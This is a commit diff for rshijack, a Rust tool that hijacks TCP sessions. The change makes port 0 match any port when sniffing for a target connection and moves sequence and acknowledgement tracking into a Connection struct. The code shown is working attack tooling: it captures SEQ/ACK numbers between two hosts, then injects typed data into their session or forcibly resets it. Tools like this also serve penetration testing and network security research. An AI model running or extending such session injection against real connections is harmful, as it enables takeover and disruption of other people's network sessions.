Use port 0 as wildcard

Dockerfile

@@ -1,7 +1,8 @@
 FROM rust:latest
 WORKDIR /usr/src/rshijack
 COPY . .
-RUN cargo build --release --verbose
+RUN cargo build --release --verbose \
+    && strip target/release/rshijack
 FROM busybox:1-glibc
 COPY --from=0 /usr/src/rshijack/target/release/rshijack /usr/local/bin/rshijack
 COPY --from=0 /lib/x86_64-linux-gnu/libdl.so.2 \

src/main.rs

@@ -44,16 +44,13 @@ fn run() -> Result<()> {
     println!("Waiting for SEQ/ACK to arrive from the srcip to the dstip.");
     println!("(To speed things up, try making some traffic between the two, /msg person asdf)");
 
-    let (mut seq, ack, offset) = net::getseqack(&arguments.interface, &arguments.src, &arguments.dst)?;
-    println!("[+] Got packet! SEQ = 0x{:x}, ACK = 0x{:x}", seq, ack);
+    let mut connection = net::getseqack(&arguments.interface, &arguments.src, &arguments.dst)?;
+    println!("[+] Got packet! SEQ = 0x{:x}, ACK = 0x{:x}", connection.seq, connection.ack);
 
     let (mut tx, _rx) = net::create_socket()?;
 
-    // bump seq
-    seq += offset as u32;
-
     if arguments.reset {
-        net::sendtcp(&mut tx, &arguments.src, &arguments.dst, TcpFlags::RST, seq, 0, &[])?;
+        connection.reset(&mut tx)?;
         println!("[+] Connection has been reset");
         return Ok(());
     }
@@ -62,8 +59,7 @@ fn run() -> Result<()> {
         info!("Sending 1kb of null bytes to prevent desync");
 
         let data = vec![0; 1024];
-        net::sendtcp(&mut tx, &arguments.src, &arguments.dst, TcpFlags::ACK | TcpFlags::PSH, seq, ack, &data)?;
-        seq += data.len() as u32;
+        connection.sendtcp(&mut tx, TcpFlags::ACK | TcpFlags::PSH, &data)?;
     }
 
     println!("Starting hijack session, Please use ^D to terminate.");
@@ -78,13 +74,10 @@ fn run() -> Result<()> {
             break;
         }
 
-        net::sendtcp(&mut tx, &arguments.src, &arguments.dst, TcpFlags::ACK | TcpFlags::PSH, seq, ack, &data[..len])?;
-
-        // bump seq afterwards
-        seq += len as u32;
+        connection.sendtcp(&mut tx, TcpFlags::ACK | TcpFlags::PSH, &data[..len])?;
     }
 
-    net::sendtcp(&mut tx, &arguments.src, &arguments.dst, TcpFlags::ACK | TcpFlags::FIN, seq, ack, &[])?;
+    connection.sendtcp(&mut tx, TcpFlags::ACK | TcpFlags::FIN, &[])?;
     println!("Exiting..");
 
     Ok(())

src/net.rs

@@ -20,7 +20,39 @@ use std::net::SocketAddrV4;
 use errors::{Result, ResultExt};
 
 
-pub fn getseqack(interface: &str, src: &SocketAddrV4, dst: &SocketAddrV4) -> Result<(u32, u32, usize)> {
+#[derive(Debug)]
+pub struct Connection {
+    pub src: SocketAddrV4,
+    pub dst: SocketAddrV4,
+    pub seq: u32,
+    pub ack: u32,
+}
+
+impl Connection {
+    #[inline]
+    pub fn new(src: SocketAddrV4, dst: SocketAddrV4, seq: u32, ack: u32) -> Connection {
+        Connection {
+            src,
+            dst,
+            seq,
+            ack,
+        }
+    }
+
+    #[inline]
+    pub fn sendtcp(&mut self, tx: &mut TransportSender, flags: u16, data: &[u8]) -> Result<()> {
+        sendtcp(tx, &self.src, &self.dst, flags, self.seq, self.ack, &data)?;
+        self.seq += data.len() as u32;
+        Ok(())
+    }
+
+    #[inline]
+    pub fn reset(&mut self, tx: &mut TransportSender) -> Result<()> {
+        sendtcp(tx, &self.src, &self.dst, TcpFlags::RST, self.seq, 0, &[])
+    }
+}
+
+pub fn getseqack(interface: &str, src: &SocketAddrV4, dst: &SocketAddrV4) -> Result<Connection> {
     let interfaces = datalink::interfaces();
     let interface = interfaces.into_iter()
                         .filter(|iface: &NetworkInterface| iface.name == interface)
@@ -57,8 +89,8 @@ pub fn getseqack(interface: &str, src: &SocketAddrV4, dst: &SocketAddrV4) -> Res
                                     debug!("tcp: {:?}", tcp_hdr);
 
                                     // skip packet if src/dst port doesn't match
-                                    if src.port() != tcp_hdr.source_port ||
-                                       dst.port() != tcp_hdr.dest_port {
+                                    if (src.port() != tcp_hdr.source_port && src.port() != 0) ||
+                                       (dst.port() != tcp_hdr.dest_port && dst.port() != 0) {
                                            continue;
                                     }
 
@@ -67,10 +99,11 @@ pub fn getseqack(interface: &str, src: &SocketAddrV4, dst: &SocketAddrV4) -> Res
                                             continue;
                                     }
 
-                                    return Ok((
-                                        tcp_hdr.sequence_no,
+                                    return Ok(Connection::new(
+                                        SocketAddrV4::new(ip_hdr.source_addr, tcp_hdr.source_port),
+                                        SocketAddrV4::new(ip_hdr.dest_addr, tcp_hdr.dest_port),
+                                        tcp_hdr.sequence_no + remaining.len() as u32,
                                         tcp_hdr.ack_no,
-                                        remaining.len(),
                                     ));
                                 }
                             },